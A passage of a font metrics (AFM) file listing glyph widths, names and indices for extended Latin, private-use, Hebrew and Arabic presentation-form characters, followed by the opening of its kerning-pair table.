U 42827 ; WX 704 ; N uniA74B ; G 4901
U 42830 ; WX 1358 ; N uniA74E ; G 4902
U 42831 ; WX 1019 ; N uniA74F ; G 4903
U 42832 ; WX 603 ; N uniA750 ; G 4904
U 42833 ; WX 635 ; N uniA751 ; G 4905
U 42834 ; WX 734 ; N uniA752 ; G 4906
U 42835 ; WX 774 ; N uniA753 ; G 4907
U 42838 ; WX 787 ; N uniA756 ; G 4908
U 42839 ; WX 635 ; N uniA757 ; G 4909
U 42852 ; WX 605 ; N uniA764 ; G 4910
U 42853 ; WX 635 ; N uniA765 ; G 4911
U 42854 ; WX 605 ; N uniA766 ; G 4912
U 42855 ; WX 635 ; N uniA767 ; G 4913
U 42880 ; WX 557 ; N uniA780 ; G 4914
U 42881 ; WX 278 ; N uniA781 ; G 4915
U 42882 ; WX 735 ; N uniA782 ; G 4916
U 42883 ; WX 634 ; N uniA783 ; G 4917
U 42889 ; WX 337 ; N uniA789 ; G 4918
U 42890 ; WX 376 ; N uniA78A ; G 4919
U 42891 ; WX 401 ; N uniA78B ; G 4920
U 42892 ; WX 275 ; N uniA78C ; G 4921
U 42893 ; WX 686 ; N uniA78D ; G 4922
U 42894 ; WX 487 ; N uniA78E ; G 4923
U 42896 ; WX 772 ; N uniA790 ; G 4924
U 42897 ; WX 667 ; N uniA791 ; G 4925
U 42912 ; WX 775 ; N uniA7A0 ; G 4926
U 42913 ; WX 635 ; N uniA7A1 ; G 4927
U 42914 ; WX 656 ; N uniA7A2 ; G 4928
U 42915 ; WX 579 ; N uniA7A3 ; G 4929
U 42916 ; WX 748 ; N uniA7A4 ; G 4930
U 42917 ; WX 634 ; N uniA7A5 ; G 4931
U 42918 ; WX 695 ; N uniA7A6 ; G 4932
U 42919 ; WX 411 ; N uniA7A7 ; G 4933
U 42920 ; WX 635 ; N uniA7A8 ; G 4934
U 42921 ; WX 521 ; N uniA7A9 ; G 4935
U 42922 ; WX 801 ; N uniA7AA ; G 4936
U 43000 ; WX 577 ; N uniA7F8 ; G 4937
U 43001 ; WX 644 ; N uniA7F9 ; G 4938
U 43002 ; WX 915 ; N uniA7FA ; G 4939
U 43003 ; WX 575 ; N uniA7FB ; G 4940
U 43004 ; WX 603 ; N uniA7FC ; G 4941
U 43005 ; WX 863 ; N uniA7FD ; G 4942
U 43006 ; WX 295 ; N uniA7FE ; G 4943
U 43007 ; WX 1199 ; N uniA7FF ; G 4944
U 61184 ; WX 213 ; N uni02E5.5 ; G 4945
U 61185 ; WX 238 ; N uni02E6.5 ; G 4946
U 61186 ; WX 257 ; N uni02E7.5 ; G 4947
U 61187 ; WX 264 ; N uni02E8.5 ; G 4948
U 61188 ; WX 267 ; N uni02E9.5 ; G 4949
U 61189 ; WX 238 ; N uni02E5.4 ; G 4950
U 61190 ; WX 213 ; N uni02E6.4 ; G 4951
U 61191 ; WX 238 ; N uni02E7.4 ; G 4952
U 61192 ; WX 257 ; N uni02E8.4 ; G 4953
U 61193 ; WX 264 ; N uni02E9.4 ; G 4954
U 61194 ; WX 257 ; N uni02E5.3 ; G 4955
U 61195 ; WX 238 ; N uni02E6.3 ; G 4956
U 61196 ; WX 213 ; N uni02E7.3 ; G 4957
U 61197 ; WX 238 ; N uni02E8.3 ; G 4958
U 61198 ; WX 257 ; N uni02E9.3 ; G 4959
U 61199 ; WX 264 ; N uni02E5.2 ; G 4960
U 61200 ; WX 257 ; N uni02E6.2 ; G 4961
U 61201 ; WX 238 ; N uni02E7.2 ; G 4962
U 61202 ; WX 213 ; N uni02E8.2 ; G 4963
U 61203 ; WX 238 ; N uni02E9.2 ; G 4964
U 61204 ; WX 267 ; N uni02E5.1 ; G 4965
U 61205 ; WX 264 ; N uni02E6.1 ; G 4966
U 61206 ; WX 257 ; N uni02E7.1 ; G 4967
U 61207 ; WX 238 ; N uni02E8.1 ; G 4968
U 61208 ; WX 213 ; N uni02E9.1 ; G 4969
U 61209 ; WX 275 ; N stem ; G 4970
U 61440 ; WX 977 ; N uniF000 ; G 4971
U 61441 ; WX 977 ; N uniF001 ; G 4972
U 61442 ; WX 977 ; N uniF002 ; G 4973
U 61443 ; WX 977 ; N uniF003 ; G 4974
U 62464 ; WX 580 ; N uniF400 ; G 4975
U 62465 ; WX 580 ; N uniF401 ; G 4976
U 62466 ; WX 624 ; N uniF402 ; G 4977
U 62467 ; WX 889 ; N uniF403 ; G 4978
U 62468 ; WX 585 ; N uniF404 ; G 4979
U 62469 ; WX 580 ; N uniF405 ; G 4980
U 62470 ; WX 653 ; N uniF406 ; G 4981
U 62471 ; WX 882 ; N uniF407 ; G 4982
U 62472 ; WX 555 ; N uniF408 ; G 4983
U 62473 ; WX 580 ; N uniF409 ; G 4984
U 62474 ; WX 1168 ; N uniF40A ; G 4985
U 62475 ; WX 589 ; N uniF40B ; G 4986
U 62476 ; WX 590 ; N uniF40C ; G 4987
U 62477 ; WX 869 ; N uniF40D ; G 4988
U 62478 ; WX 580 ; N uniF40E ; G 4989
U 62479 ; WX 589 ; N uniF40F ; G 4990
U 62480 ; WX 914 ; N uniF410 ; G 4991
U 62481 ; WX 590 ; N uniF411 ; G 4992
U 62482 ; WX 731 ; N uniF412 ; G 4993
U 62483 ; WX 583 ; N uniF413 ; G 4994
U 62484 ; WX 872 ; N uniF414 ; G 4995
U 62485 ; WX 589 ; N uniF415 ; G 4996
U 62486 ; WX 895 ; N uniF416 ; G 4997
U 62487 ; WX 589 ; N uniF417 ; G 4998
U 62488 ; WX 589 ; N uniF418 ; G 4999
U 62489 ; WX 590 ; N uniF419 ; G 5000
U 62490 ; WX 649 ; N uniF41A ; G 5001
U 62491 ; WX 589 ; N uniF41B ; G 5002
U 62492 ; WX 589 ; N uniF41C ; G 5003
U 62493 ; WX 599 ; N uniF41D ; G 5004
U 62494 ; WX 590 ; N uniF41E ; G 5005
U 62495 ; WX 516 ; N uniF41F ; G 5006
U 62496 ; WX 580 ; N uniF420 ; G 5007
U 62497 ; WX 584 ; N uniF421 ; G 5008
U 62498 ; WX 580 ; N uniF422 ; G 5009
U 62499 ; WX 580 ; N uniF423 ; G 5010
U 62500 ; WX 581 ; N uniF424 ; G 5011
U 62501 ; WX 638 ; N uniF425 ; G 5012
U 62502 ; WX 955 ; N uniF426 ; G 5013
U 62504 ; WX 931 ; N uniF428 ; G 5014
U 62505 ; WX 808 ; N uniF429 ; G 5015
U 62506 ; WX 508 ; N uniF42A ; G 5016
U 62507 ; WX 508 ; N uniF42B ; G 5017
U 62508 ; WX 508 ; N uniF42C ; G 5018
U 62509 ; WX 508 ; N uniF42D ; G 5019
U 62510 ; WX 508 ; N uniF42E ; G 5020
U 62511 ; WX 508 ; N uniF42F ; G 5021
U 62512 ; WX 508 ; N uniF430 ; G 5022
U 62513 ; WX 508 ; N uniF431 ; G 5023
U 62514 ; WX 508 ; N uniF432 ; G 5024
U 62515 ; WX 508 ; N uniF433 ; G 5025
U 62516 ; WX 518 ; N uniF434 ; G 5026
U 62517 ; WX 518 ; N uniF435 ; G 5027
U 62518 ; WX 518 ; N uniF436 ; G 5028
U 62519 ; WX 787 ; N uniF437 ; G 5029
U 62520 ; WX 787 ; N uniF438 ; G 5030
U 62521 ; WX 787 ; N uniF439 ; G 5031
U 62522 ; WX 787 ; N uniF43A ; G 5032
U 62523 ; WX 787 ; N uniF43B ; G 5033
U 62524 ; WX 546 ; N uniF43C ; G 5034
U 62525 ; WX 546 ; N uniF43D ; G 5035
U 62526 ; WX 546 ; N uniF43E ; G 5036
U 62527 ; WX 546 ; N uniF43F ; G 5037
U 62528 ; WX 546 ; N uniF440 ; G 5038
U 62529 ; WX 546 ; N uniF441 ; G 5039
U 63173 ; WX 612 ; N uniF6C5 ; G 5040
U 64256 ; WX 689 ; N uniFB00 ; G 5041
U 64257 ; WX 630 ; N fi ; G 5042
U 64258 ; WX 630 ; N fl ; G 5043
U 64259 ; WX 967 ; N uniFB03 ; G 5044
U 64260 ; WX 967 ; N uniFB04 ; G 5045
U 64261 ; WX 686 ; N uniFB05 ; G 5046
U 64262 ; WX 861 ; N uniFB06 ; G 5047
U 64275 ; WX 1202 ; N uniFB13 ; G 5048
U 64276 ; WX 1202 ; N uniFB14 ; G 5049
U 64277 ; WX 1196 ; N uniFB15 ; G 5050
U 64278 ; WX 1186 ; N uniFB16 ; G 5051
U 64279 ; WX 1529 ; N uniFB17 ; G 5052
U 64285 ; WX 224 ; N uniFB1D ; G 5053
U 64286 ; WX 0 ; N uniFB1E ; G 5054
U 64287 ; WX 331 ; N uniFB1F ; G 5055
U 64288 ; WX 636 ; N uniFB20 ; G 5056
U 64289 ; WX 856 ; N uniFB21 ; G 5057
U 64290 ; WX 774 ; N uniFB22 ; G 5058
U 64291 ; WX 906 ; N uniFB23 ; G 5059
U 64292 ; WX 771 ; N uniFB24 ; G 5060
U 64293 ; WX 843 ; N uniFB25 ; G 5061
U 64294 ; WX 855 ; N uniFB26 ; G 5062
U 64295 ; WX 807 ; N uniFB27 ; G 5063
U 64296 ; WX 875 ; N uniFB28 ; G 5064
U 64297 ; WX 838 ; N uniFB29 ; G 5065
U 64298 ; WX 708 ; N uniFB2A ; G 5066
U 64299 ; WX 708 ; N uniFB2B ; G 5067
U 64300 ; WX 708 ; N uniFB2C ; G 5068
U 64301 ; WX 708 ; N uniFB2D ; G 5069
U 64302 ; WX 668 ; N uniFB2E ; G 5070
U 64303 ; WX 668 ; N uniFB2F ; G 5071
U 64304 ; WX 668 ; N uniFB30 ; G 5072
U 64305 ; WX 578 ; N uniFB31 ; G 5073
U 64306 ; WX 412 ; N uniFB32 ; G 5074
U 64307 ; WX 546 ; N uniFB33 ; G 5075
U 64308 ; WX 653 ; N uniFB34 ; G 5076
U 64309 ; WX 355 ; N uniFB35 ; G 5077
U 64310 ; WX 406 ; N uniFB36 ; G 5078
U 64312 ; WX 648 ; N uniFB38 ; G 5079
U 64313 ; WX 330 ; N uniFB39 ; G 5080
U 64314 ; WX 537 ; N uniFB3A ; G 5081
U 64315 ; WX 529 ; N uniFB3B ; G 5082
U 64316 ; WX 568 ; N uniFB3C ; G 5083
U 64318 ; WX 679 ; N uniFB3E ; G 5084
U 64320 ; WX 399 ; N uniFB40 ; G 5085
U 64321 ; WX 649 ; N uniFB41 ; G 5086
U 64323 ; WX 640 ; N uniFB43 ; G 5087
U 64324 ; WX 625 ; N uniFB44 ; G 5088
U 64326 ; WX 593 ; N uniFB46 ; G 5089
U 64327 ; WX 709 ; N uniFB47 ; G 5090
U 64328 ; WX 564 ; N uniFB48 ; G 5091
U 64329 ; WX 708 ; N uniFB49 ; G 5092
U 64330 ; WX 657 ; N uniFB4A ; G 5093
U 64331 ; WX 272 ; N uniFB4B ; G 5094
U 64332 ; WX 578 ; N uniFB4C ; G 5095
U 64333 ; WX 529 ; N uniFB4D ; G 5096
U 64334 ; WX 625 ; N uniFB4E ; G 5097
U 64335 ; WX 629 ; N uniFB4F ; G 5098
U 64338 ; WX 941 ; N uniFB52 ; G 5099
U 64339 ; WX 982 ; N uniFB53 ; G 5100
U 64340 ; WX 278 ; N uniFB54 ; G 5101
U 64341 ; WX 302 ; N uniFB55 ; G 5102
U 64342 ; WX 941 ; N uniFB56 ; G 5103
U 64343 ; WX 982 ; N uniFB57 ; G 5104
U 64344 ; WX 278 ; N uniFB58 ; G 5105
U 64345 ; WX 302 ; N uniFB59 ; G 5106
U 64346 ; WX 941 ; N uniFB5A ; G 5107
U 64347 ; WX 982 ; N uniFB5B ; G 5108
U 64348 ; WX 278 ; N uniFB5C ; G 5109
U 64349 ; WX 302 ; N uniFB5D ; G 5110
U 64350 ; WX 941 ; N uniFB5E ; G 5111
U 64351 ; WX 982 ; N uniFB5F ; G 5112
U 64352 ; WX 278 ; N uniFB60 ; G 5113
U 64353 ; WX 302 ; N uniFB61 ; G 5114
U 64354 ; WX 941 ; N uniFB62 ; G 5115
U 64355 ; WX 982 ; N uniFB63 ; G 5116
U 64356 ; WX 278 ; N uniFB64 ; G 5117
U 64357 ; WX 302 ; N uniFB65 ; G 5118
U 64358 ; WX 941 ; N uniFB66 ; G 5119
U 64359 ; WX 982 ; N uniFB67 ; G 5120
U 64360 ; WX 278 ; N uniFB68 ; G 5121
U 64361 ; WX 302 ; N uniFB69 ; G 5122
U 64362 ; WX 1037 ; N uniFB6A ; G 5123
U 64363 ; WX 1035 ; N uniFB6B ; G 5124
U 64364 ; WX 478 ; N uniFB6C ; G 5125
U 64365 ; WX 506 ; N uniFB6D ; G 5126
U 64366 ; WX 1037 ; N uniFB6E ; G 5127
U 64367 ; WX 1035 ; N uniFB6F ; G 5128
U 64368 ; WX 478 ; N uniFB70 ; G 5129
U 64369 ; WX 506 ; N uniFB71 ; G 5130
U 64370 ; WX 646 ; N uniFB72 ; G 5131
U 64371 ; WX 646 ; N uniFB73 ; G 5132
U 64372 ; WX 618 ; N uniFB74 ; G 5133
U 64373 ; WX 646 ; N uniFB75 ; G 5134
U 64374 ; WX 646 ; N uniFB76 ; G 5135
U 64375 ; WX 646 ; N uniFB77 ; G 5136
U 64376 ; WX 618 ; N uniFB78 ; G 5137
U 64377 ; WX 646 ; N uniFB79 ; G 5138
U 64378 ; WX 646 ; N uniFB7A ; G 5139
U 64379 ; WX 646 ; N uniFB7B ; G 5140
U 64380 ; WX 618 ; N uniFB7C ; G 5141
U 64381 ; WX 646 ; N uniFB7D ; G 5142
U 64382 ; WX 646 ; N uniFB7E ; G 5143
U 64383 ; WX 646 ; N uniFB7F ; G 5144
U 64384 ; WX 618 ; N uniFB80 ; G 5145
U 64385 ; WX 646 ; N uniFB81 ; G 5146
U 64386 ; WX 445 ; N uniFB82 ; G 5147
U 64387 ; WX 525 ; N uniFB83 ; G 5148
U 64388 ; WX 445 ; N uniFB84 ; G 5149
U 64389 ; WX 525 ; N uniFB85 ; G 5150
U 64390 ; WX 445 ; N uniFB86 ; G 5151
U 64391 ; WX 525 ; N uniFB87 ; G 5152
U 64392 ; WX 445 ; N uniFB88 ; G 5153
U 64393 ; WX 525 ; N uniFB89 ; G 5154
U 64394 ; WX 483 ; N uniFB8A ; G 5155
U 64395 ; WX 552 ; N uniFB8B ; G 5156
U 64396 ; WX 483 ; N uniFB8C ; G 5157
U 64397 ; WX 552 ; N uniFB8D ; G 5158
U 64398 ; WX 895 ; N uniFB8E ; G 5159
U 64399 ; WX 895 ; N uniFB8F ; G 5160
U 64400 ; WX 476 ; N uniFB90 ; G 5161
U 64401 ; WX 552 ; N uniFB91 ; G 5162
U 64402 ; WX 895 ; N uniFB92 ; G 5163
U 64403 ; WX 895 ; N uniFB93 ; G 5164
U 64404 ; WX 476 ; N uniFB94 ; G 5165
U 64405 ; WX 552 ; N uniFB95 ; G 5166
U 64406 ; WX 895 ; N uniFB96 ; G 5167
U 64407 ; WX 895 ; N uniFB97 ; G 5168
U 64408 ; WX 476 ; N uniFB98 ; G 5169
U 64409 ; WX 552 ; N uniFB99 ; G 5170
U 64410 ; WX 895 ; N uniFB9A ; G 5171
U 64411 ; WX 895 ; N uniFB9B ; G 5172
U 64412 ; WX 476 ; N uniFB9C ; G 5173
U 64413 ; WX 552 ; N uniFB9D ; G 5174
U 64414 ; WX 734 ; N uniFB9E ; G 5175
U 64415 ; WX 761 ; N uniFB9F ; G 5176
U 64416 ; WX 734 ; N uniFBA0 ; G 5177
U 64417 ; WX 761 ; N uniFBA1 ; G 5178
U 64418 ; WX 278 ; N uniFBA2 ; G 5179
U 64419 ; WX 302 ; N uniFBA3 ; G 5180
U 64426 ; WX 698 ; N uniFBAA ; G 5181
U 64427 ; WX 632 ; N uniFBAB ; G 5182
U 64428 ; WX 527 ; N uniFBAC ; G 5183
U 64429 ; WX 461 ; N uniFBAD ; G 5184
U 64467 ; WX 824 ; N uniFBD3 ; G 5185
U 64468 ; WX 843 ; N uniFBD4 ; G 5186
U 64469 ; WX 476 ; N uniFBD5 ; G 5187
U 64470 ; WX 552 ; N uniFBD6 ; G 5188
U 64471 ; WX 483 ; N uniFBD7 ; G 5189
U 64472 ; WX 517 ; N uniFBD8 ; G 5190
U 64473 ; WX 483 ; N uniFBD9 ; G 5191
U 64474 ; WX 517 ; N uniFBDA ; G 5192
U 64475 ; WX 483 ; N uniFBDB ; G 5193
U 64476 ; WX 517 ; N uniFBDC ; G 5194
U 64478 ; WX 483 ; N uniFBDE ; G 5195
U 64479 ; WX 517 ; N uniFBDF ; G 5196
U 64484 ; WX 783 ; N uniFBE4 ; G 5197
U 64485 ; WX 833 ; N uniFBE5 ; G 5198
U 64486 ; WX 278 ; N uniFBE6 ; G 5199
U 64487 ; WX 302 ; N uniFBE7 ; G 5200
U 64488 ; WX 278 ; N uniFBE8 ; G 5201
U 64489 ; WX 302 ; N uniFBE9 ; G 5202
U 64508 ; WX 783 ; N uniFBFC ; G 5203
U 64509 ; WX 833 ; N uniFBFD ; G 5204
U 64510 ; WX 278 ; N uniFBFE ; G 5205
U 64511 ; WX 302 ; N uniFBFF ; G 5206
U 65024 ; WX 0 ; N uniFE00 ; G 5207
U 65025 ; WX 0 ; N uniFE01 ; G 5208
U 65026 ; WX 0 ; N uniFE02 ; G 5209
U 65027 ; WX 0 ; N uniFE03 ; G 5210
U 65028 ; WX 0 ; N uniFE04 ; G 5211
U 65029 ; WX 0 ; N uniFE05 ; G 5212
U 65030 ; WX 0 ; N uniFE06 ; G 5213
U 65031 ; WX 0 ; N uniFE07 ; G 5214
U 65032 ; WX 0 ; N uniFE08 ; G 5215
U 65033 ; WX 0 ; N uniFE09 ; G 5216
U 65034 ; WX 0 ; N uniFE0A ; G 5217
U 65035 ; WX 0 ; N uniFE0B ; G 5218
U 65036 ; WX 0 ; N uniFE0C ; G 5219
U 65037 ; WX 0 ; N uniFE0D ; G 5220
U 65038 ; WX 0 ; N uniFE0E ; G 5221
U 65039 ; WX 0 ; N uniFE0F ; G 5222
U 65056 ; WX 0 ; N uniFE20 ; G 5223
U 65057 ; WX 0 ; N uniFE21 ; G 5224
U 65058 ; WX 0 ; N uniFE22 ; G 5225
U 65059 ; WX 0 ; N uniFE23 ; G 5226
U 65136 ; WX 293 ; N uniFE70 ; G 5227
U 65137 ; WX 293 ; N uniFE71 ; G 5228
U 65138 ; WX 293 ; N uniFE72 ; G 5229
U 65139 ; WX 262 ; N uniFE73 ; G 5230
U 65140 ; WX 293 ; N uniFE74 ; G 5231
U 65142 ; WX 293 ; N uniFE76 ; G 5232
U 65143 ; WX 293 ; N uniFE77 ; G 5233
U 65144 ; WX 293 ; N uniFE78 ; G 5234
U 65145 ; WX 293 ; N uniFE79 ; G 5235
U 65146 ; WX 293 ; N uniFE7A ; G 5236
U 65147 ; WX 293 ; N uniFE7B ; G 5237
U 65148 ; WX 293 ; N uniFE7C ; G 5238
U 65149 ; WX 293 ; N uniFE7D ; G 5239
U 65150 ; WX 293 ; N uniFE7E ; G 5240
U 65151 ; WX 293 ; N uniFE7F ; G 5241
U 65152 ; WX 470 ; N uniFE80 ; G 5242
U 65153 ; WX 278 ; N uniFE81 ; G 5243
U 65154 ; WX 305 ; N uniFE82 ; G 5244
U 65155 ; WX 278 ; N uniFE83 ; G 5245
U 65156 ; WX 305 ; N uniFE84 ; G 5246
U 65157 ; WX 483 ; N uniFE85 ; G 5247
U 65158 ; WX 517 ; N uniFE86 ; G 5248
U 65159 ; WX 278 ; N uniFE87 ; G 5249
U 65160 ; WX 305 ; N uniFE88 ; G 5250
U 65161 ; WX 783 ; N uniFE89 ; G 5251
U 65162 ; WX 833 ; N uniFE8A ; G 5252
U 65163 ; WX 278 ; N uniFE8B ; G 5253
U 65164 ; WX 302 ; N uniFE8C ; G 5254
U 65165 ; WX 278 ; N uniFE8D ; G 5255
U 65166 ; WX 305 ; N uniFE8E ; G 5256
U 65167 ; WX 941 ; N uniFE8F ; G 5257
U 65168 ; WX 982 ; N uniFE90 ; G 5258
U 65169 ; WX 278 ; N uniFE91 ; G 5259
U 65170 ; WX 302 ; N uniFE92 ; G 5260
U 65171 ; WX 524 ; N uniFE93 ; G 5261
U 65172 ; WX 536 ; N uniFE94 ; G 5262
U 65173 ; WX 941 ; N uniFE95 ; G 5263
U 65174 ; WX 982 ; N uniFE96 ; G 5264
U 65175 ; WX 278 ; N uniFE97 ; G 5265
U 65176 ; WX 302 ; N uniFE98 ; G 5266
U 65177 ; WX 941 ; N uniFE99 ; G 5267
U 65178 ; WX 982 ; N uniFE9A ; G 5268
U 65179 ; WX 278 ; N uniFE9B ; G 5269
U 65180 ; WX 302 ; N uniFE9C ; G 5270
U 65181 ; WX 646 ; N uniFE9D ; G 5271
U 65182 ; WX 646 ; N uniFE9E ; G 5272
U 65183 ; WX 618 ; N uniFE9F ; G 5273
U 65184 ; WX 646 ; N uniFEA0 ; G 5274
U 65185 ; WX 646 ; N uniFEA1 ; G 5275
U 65186 ; WX 646 ; N uniFEA2 ; G 5276
U 65187 ; WX 618 ; N uniFEA3 ; G 5277
U 65188 ; WX 646 ; N uniFEA4 ; G 5278
U 65189 ; WX 646 ; N uniFEA5 ; G 5279
U 65190 ; WX 646 ; N uniFEA6 ; G 5280
U 65191 ; WX 618 ; N uniFEA7 ; G 5281
U 65192 ; WX 646 ; N uniFEA8 ; G 5282
U 65193 ; WX 445 ; N uniFEA9 ; G 5283
U 65194 ; WX 525 ; N uniFEAA ; G 5284
U 65195 ; WX 445 ; N uniFEAB ; G 5285
U 65196 ; WX 525 ; N uniFEAC ; G 5286
U 65197 ; WX 483 ; N uniFEAD ; G 5287
U 65198 ; WX 552 ; N uniFEAE ; G 5288
U 65199 ; WX 483 ; N uniFEAF ; G 5289
U 65200 ; WX 552 ; N uniFEB0 ; G 5290
U 65201 ; WX 1221 ; N uniFEB1 ; G 5291
U 65202 ; WX 1275 ; N uniFEB2 ; G 5292
U 65203 ; WX 838 ; N uniFEB3 ; G 5293
U 65204 ; WX 892 ; N uniFEB4 ; G 5294
U 65205 ; WX 1221 ; N uniFEB5 ; G 5295
U 65206 ; WX 1275 ; N uniFEB6 ; G 5296
U 65207 ; WX 838 ; N uniFEB7 ; G 5297
U 65208 ; WX 892 ; N uniFEB8 ; G 5298
U 65209 ; WX 1209 ; N uniFEB9 ; G 5299
U 65210 ; WX 1225 ; N uniFEBA ; G 5300
U 65211 ; WX 849 ; N uniFEBB ; G 5301
U 65212 ; WX 867 ; N uniFEBC ; G 5302
U 65213 ; WX 1209 ; N uniFEBD ; G 5303
U 65214 ; WX 1225 ; N uniFEBE ; G 5304
U 65215 ; WX 849 ; N uniFEBF ; G 5305
U 65216 ; WX 867 ; N uniFEC0 ; G 5306
U 65217 ; WX 925 ; N uniFEC1 ; G 5307
U 65218 ; WX 949 ; N uniFEC2 ; G 5308
U 65219 ; WX 796 ; N uniFEC3 ; G 5309
U 65220 ; WX 820 ; N uniFEC4 ; G 5310
U 65221 ; WX 925 ; N uniFEC5 ; G 5311
U 65222 ; WX 949 ; N uniFEC6 ; G 5312
U 65223 ; WX 796 ; N uniFEC7 ; G 5313
U 65224 ; WX 820 ; N uniFEC8 ; G 5314
U 65225 ; WX 597 ; N uniFEC9 ; G 5315
U 65226 ; WX 532 ; N uniFECA ; G 5316
U 65227 ; WX 597 ; N uniFECB ; G 5317
U 65228 ; WX 482 ; N uniFECC ; G 5318
U 65229 ; WX 597 ; N uniFECD ; G 5319
U 65230 ; WX 532 ; N uniFECE ; G 5320
U 65231 ; WX 523 ; N uniFECF ; G 5321
U 65232 ; WX 482 ; N uniFED0 ; G 5322
U 65233 ; WX 1037 ; N uniFED1 ; G 5323
U 65234 ; WX 1035 ; N uniFED2 ; G 5324
U 65235 ; WX 478 ; N uniFED3 ; G 5325
U 65236 ; WX 506 ; N uniFED4 ; G 5326
U 65237 ; WX 776 ; N uniFED5 ; G 5327
U 65238 ; WX 834 ; N uniFED6 ; G 5328
U 65239 ; WX 478 ; N uniFED7 ; G 5329
U 65240 ; WX 506 ; N uniFED8 ; G 5330
U 65241 ; WX 824 ; N uniFED9 ; G 5331
U 65242 ; WX 843 ; N uniFEDA ; G 5332
U 65243 ; WX 476 ; N uniFEDB ; G 5333
U 65244 ; WX 552 ; N uniFEDC ; G 5334
U 65245 ; WX 727 ; N uniFEDD ; G 5335
U 65246 ; WX 757 ; N uniFEDE ; G 5336
U 65247 ; WX 305 ; N uniFEDF ; G 5337
U 65248 ; WX 331 ; N uniFEE0 ; G 5338
U 65249 ; WX 619 ; N uniFEE1 ; G 5339
U 65250 ; WX 666 ; N uniFEE2 ; G 5340
U 65251 ; WX 536 ; N uniFEE3 ; G 5341
U 65252 ; WX 578 ; N uniFEE4 ; G 5342
U 65253 ; WX 734 ; N uniFEE5 ; G 5343
U 65254 ; WX 761 ; N uniFEE6 ; G 5344
U 65255 ; WX 278 ; N uniFEE7 ; G 5345
U 65256 ; WX 302 ; N uniFEE8 ; G 5346
U 65257 ; WX 524 ; N uniFEE9 ; G 5347
U 65258 ; WX 536 ; N uniFEEA ; G 5348
U 65259 ; WX 527 ; N uniFEEB ; G 5349
U 65260 ; WX 461 ; N uniFEEC ; G 5350
U 65261 ; WX 483 ; N uniFEED ; G 5351
U 65262 ; WX 517 ; N uniFEEE ; G 5352
U 65263 ; WX 783 ; N uniFEEF ; G 5353
U 65264 ; WX 833 ; N uniFEF0 ; G 5354
U 65265 ; WX 783 ; N uniFEF1 ; G 5355
U 65266 ; WX 833 ; N uniFEF2 ; G 5356
U 65267 ; WX 278 ; N uniFEF3 ; G 5357
U 65268 ; WX 302 ; N uniFEF4 ; G 5358
U 65269 ; WX 570 ; N uniFEF5 ; G 5359
U 65270 ; WX 597 ; N uniFEF6 ; G 5360
U 65271 ; WX 570 ; N uniFEF7 ; G 5361
U 65272 ; WX 597 ; N uniFEF8 ; G 5362
U 65273 ; WX 570 ; N uniFEF9 ; G 5363
U 65274 ; WX 597 ; N uniFEFA ; G 5364
U 65275 ; WX 570 ; N uniFEFB ; G 5365
U 65276 ; WX 597 ; N uniFEFC ; G 5366
U 65279 ; WX 0 ; N uniFEFF ; G 5367
U 65529 ; WX 0 ; N uniFFF9 ; G 5368
U 65530 ; WX 0 ; N uniFFFA ; G 5369
U 65531 ; WX 0 ; N uniFFFB ; G 5370
U 65532 ; WX 0 ; N uniFFFC ; G 5371
U 65533 ; WX 1025 ; N uniFFFD ; G 5372
EndCharMetrics
StartKernData 
StartKernPairs 2727

KPX dollar dollar 57
KPX dollar ampersand -36
KPX dollar asterisk -36
KPX dollar two -36
KPX dollar four -36
KPX dollar seven -159
KPX dollar nine -131
KPX dollar colon -112
KPX dollar less -159
KPX dollar F -36
KPX dollar G -36
KPX dollar H -36
KPX dollar I -73
KPX dollar R -36
KPX dollar T -36
KPX dollar W -36
KPX dollar Y -120
KPX dollar Z -83
KPX dollar backslash -139
KPX dollar m -73
KPX dollar copyright -36
KPX dollar ordfeminine -36
KPX dollar guillemotleft -36
KPX dollar logicalnot -36
KPX dollar sfthyphen -36
KPX dollar acute -36
KPX dollar mu -36
KPX dollar paragraph -36
KPX dollar periodcentered -36
KPX dollar cedilla -36
KPX dollar questiondown -139
KPX dollar Aacute -139
KPX dollar Acircumflex 57
KPX dollar Adieresis 57
KPX dollar AE 57
KPX dollar Egrave -36
KPX dollar Eacute -36
KPX dollar Ecircumflex -36
KPX dollar Edieresis -36
KPX dollar Igrave -36
KPX dollar Iacute -36
KPX dollar Icircumflex -36
KPX dollar Idieresis -36
KPX dollar Ntilde -36
KPX dollar Oacute -36
KPX dollar Otilde -36
KPX dollar multiply -36
KPX dollar Ugrave -36
KPX dollar Ucircumflex -36
KPX dollar Yacute -36
KPX dollar Thorn -36
KPX dollar agrave -36
KPX dollar acircumflex -36
KPX dollar Dcaron -36
KPX dollar dcaron -36
KPX dollar Dcroat -36
KPX dollar dmacron -36
KPX dollar Emacron -36
KPX dollar emacron -36
KPX dollar Hcircumflex -159
KPX dollar hcircumflex -36
KPX dollar Hbar -159
KPX dollar hbar -36
KPX dollar Kcommaaccent -112
KPX dollar kcommaaccent -83
KPX dollar kgreenlandic -159
KPX dollar Lacute -139
KPX dollar lacute -159
KPX dollar uni0188 -36
KPX dollar uni01AC -36
KPX dollar uni01AD -36
KPX dollar uni01AE -36
KPX dollar Uhorn -36
KPX dollar uni01DC -159
KPX dollar uni01DD -36
KPX dollar uni01F0 -36
KPX dollar uni01F3 -36
KPX dollar uni01F4 -159
KPX dollar uni01F5 -139

KPX percent ampersand -36
KPX percent asterisk -36
KPX percent two -36
KPX percent six -36
KPX percent nine -63
KPX percent colon -73
KPX percent less -112
KPX percent m -63
KPX percent braceright -36
KPX percent Egrave -36
KPX percent Ecircumflex -36
KPX percent Igrave -36
KPX percent Icircumflex -36
KPX percent Thorn -36
KPX percent agrave -36
KPX percent acircumflex -36
KPX percent adieresis -36
KPX percent Dcaron -36
KPX percent Dcroat -36
KPX percent Emacron -36
KPX percent Gcircumflex -36
KPX percent Gbreve -36
KPX percent Gdotaccent -36
KPX percent Gcommaaccent -36
KPX percent Kcommaaccent -73
KPX percent kgreenlandic -112
KPX percent lacute -112
KPX percent uni01AC -36
KPX percent uni01AE -36
KPX percent uni01DA -36
KPX percent uni01F0 -36

KPX ampersand less -36
KPX ampersand m -36
KPX ampersand braceright -36
KPX ampersand kgreenlandic -36
KPX ampersand lacute -36
KPX ampersand uni01F4 -36

KPX quotesingle dollar -36
KPX quotesingle nine -36
KPX quotesingle less -112
KPX quotesingle m -36
KPX quotesingle braceright -36
KPX quotesingle Acircumflex -36
KPX quotesingle Adieresis -36
KPX quotesingle AE -36
KPX quotesingle kgreenlandic -112
KPX quotesingle lacute -112
KPX quotesingle uni01F4 -112

KPX parenright dollar -188
KPX parenright six -36
KPX parenright seven -36
KPX parenright D -188
KPX parenright H -112
KPX parenright L -149
